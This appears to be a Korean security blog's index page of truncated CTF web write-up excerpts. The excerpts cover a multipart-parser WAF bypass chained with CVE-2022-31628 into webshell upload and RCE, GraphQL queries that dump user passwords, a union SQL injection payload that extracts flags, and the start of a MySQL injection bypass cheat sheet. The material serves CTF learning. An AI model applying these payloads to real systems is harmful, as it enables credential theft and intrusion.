go multipart parser와 php의 multipart parser의 서로 다른 구현을 악용하여 waf를 우회, 이후 CVE-2022-31628를 이용하여 dos를 발생시켜 웹쉘을 업로드하고RCE를 하면 되는 문제이다.if r.Method == "POST" { mr, err := r.MultipartReader() if err != nil { r.Body.Close() fmt.Println("Http request is corrupted.") return } else { var b bytes.Buffer w := multipart.NewWriter(&b) reuseBody ..
markdown을 이용한 ppt 제작 기능을 지원하는 서비스다.주어진 파일의 app.js에서 Global filter, routing을 확인할 수 있다.app.use((req, res, next) => { if (req.session.userid || req.path.startsWith("/auth/")) return next(); return res.redirect("/auth/login");});app.use((req, res, next) => { if (req.method === "POST") { for (const key in req.body) { if (req.body[key] && typeof req.body[key] !== "string") {..
보호되어 있는 글입니다.
web 5문제 밖에 못 풀었다. knock-knock const crypto = require('crypto'); class Database { constructor() { this.notes = []; this.secret = `secret-${crypto.randomUUID}`; } createNote({ data }) { const id = this.notes.length; this.notes.push(data); return { id, token: this.generateToken(id), }; } getNote({ id, token }) { if (token !== this.generateToken(id)) return { error: 'invalid token' }; if (id >= this..
주말에 ctf를 하는데 문제를 풀면서 굉장히 이상한 걸 발견했다./* cakectf my-nyamber */async function queryNekoByName(neko_name, callback) { let filter = /(\'|\\|\s)/g; let result = []; if (typeof neko_name === 'string') { /* Process single query */ if (filter.exec(neko_name) === null) { try { let row = await querySqlStatement( `SELECT * FROM neko WHER..
1. graphql injection 2. union sql injection get admin password { allUsers{ username password } } login - admin:is_this_visible_to_you? { Challs{ id title description category author points flag{ chall_flag } } } Get Flag using sql injection { hint(chall_id:"-1/**/union/**/select/**/substr(group_concat(chall_flag),256,512),2,3/**/from/**/flags#"){ chall_id } }
주석 #, --, /**/ Express string select 0x6162; -> ab select 0b110000101100010; -> ab select char(0x61, 0x62); -> ab select concat(char(0x61), char(0x62)); -> ab select mid(@@version,12,1); -> n /* Using Gadget... */ select 'adm' 'in'; -> admin select 'ad''min'; -> ad'min select unhex(unhex(3631363236333634)); -> abcd Useful Functions 1. string substring(), substr(), mid() # select mid('abcde', 2, ..